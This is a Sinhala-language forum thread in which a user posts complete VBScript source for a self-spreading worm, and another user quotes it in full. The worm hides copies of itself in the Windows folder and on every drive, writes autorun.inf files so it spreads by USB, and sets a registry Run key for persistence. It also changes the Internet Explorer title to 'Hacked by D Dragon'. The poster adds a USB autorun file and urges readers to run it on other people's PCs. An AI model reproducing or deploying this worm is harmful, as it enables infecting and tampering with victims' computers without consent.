Write own VIRUS in 1 miniute !!!!!!!!

[dilshancjdon]

umbala virus ekek hadanna onida ????????

programming dana ganna oni naa

menna codes

NOTE PAD eke gahapan



'My name is D Dragon
'This virus is dedicated to every enimy of mine
'REST IN PEASE
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by D Dragon"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname






meeke reg write kiyala tiyena tana mage issella tiba Tread eke ( Top 25 Registry hacks ) oni ekak gahapan !!!!!!!!!!!




etakota mulu PC ekema control eka umbala ate !!!!!!!!!!









meeka save karana kota


MS32DLL.dll.vbs

kiyala Save karapan !!!!!!!!!!!!!!!




Enjoy






---------------another greate hack by Dragon Dilshan-----------------------

 

[Kalindugayan]

save kalata passe moko wenne?

 

[dilshancjdon]

Double click and run

Then DIE !!!!!!!!!!!

( baya wenna epa wadi deyak wenne naa , koykatat wenin ekekge PC ekeka check karanna )

 

[Kalindugayan]

Double click and run

Then DIE !!!!!!!!!!!

( baya wenna epa wadi deyak wenne naa , koykatat wenin ekekge PC ekeka check karanna )

mata ehenan oyage PC eka denna
mama test karannam

 

[lasith_hasantha]

Vena ekekge ekaka karala oo apita gahanna elewwoth mokada koranne?

 

[jeffhardy]

THANKS

 

[lasith_hasantha]

mata ehenan oyage PC eka denna
mama test karannam

 

[kosandpol]

dude! have you lost your mind ?

 

[dilshancjdon]

ya..........

my hobby is programming and developing Viruses !!!!

Do you want more ?????????????

 

[Jack_Sparrow]

umbala virus ekek hadanna onida ????????

programming dana ganna oni naa

menna codes

NOTE PAD eke gahapan



'My name is D Dragon
'This virus is dedicated to every enimy of mine
'REST IN PEASE
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by D Dragon"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

etakota mulu PC ekema control eka umbala ate !!!!!!!!!!


---------------another greate hack by Dragon Dilshan-----------------------

oa ohenda gatte

 

[ozone_buzzer]

Meka hohetada save karanna one & meken monavada karanna puluvan..??

 

[dilshancjdon]

ooni tanaka save karanna.

Auto run ekek daala CD ekakata daannna !!!!!

menna USB pen drive ekakata Auto run eke codes

[autorun]
open=MS32DLL.dll.vbs
;shell\open=Open(&O)
shell\open\Command=MS32DLL.dll.vbs
shell\open\Default=1
;shell\explore=Manager(&X)
shell\explore\Command=MS32DLL.dll.vbs

meeka "autorun.inf" kiyala save karanna

meeken wadi deyak wenne naa !!!!!!!

Hidden files unable eke disable wey,
hama PEN drive ekatama copy wey,
IE eke nama wenas wey

tawa podi podi tikak wey....

okkoma kiwwot wadak naaa!!!!!!!!!!!!!!

CHECK karala balanna !!!!!!!!!!!

********Kaspersky lokkat ekka nam baa!!!!!!!!!!

 

[rjzone2000]

Guti kana wedane mu karanne..hah..hah...!!!

 

[Kalindugayan]

ya..........

my hobby is programming and developing Viruses !!!!

Do you want more ?????????????

natuwata kamak ne

 

[rjzone2000]

Yako ...Muwa thiyanna watinne nene...

 

[rjzone2000]

Den Oka monama Virus guard ekakin wath track wenne nedda...???

 

[kalhara.rokz]

apo save karapu gaman virus guard eken allanawa........

 

[dxxcxxxx]

Interesting staff......

But, i hope nobody will try with their friends....

 

[lakmalunit]

ya..........

my hobby is programming and developing Viruses !!!!

Do you want more ?????????????

umbe munen penawa virus porak kiyala

 

[prasannaf]

tiyana ewa madi welada wawagena kanna hadanne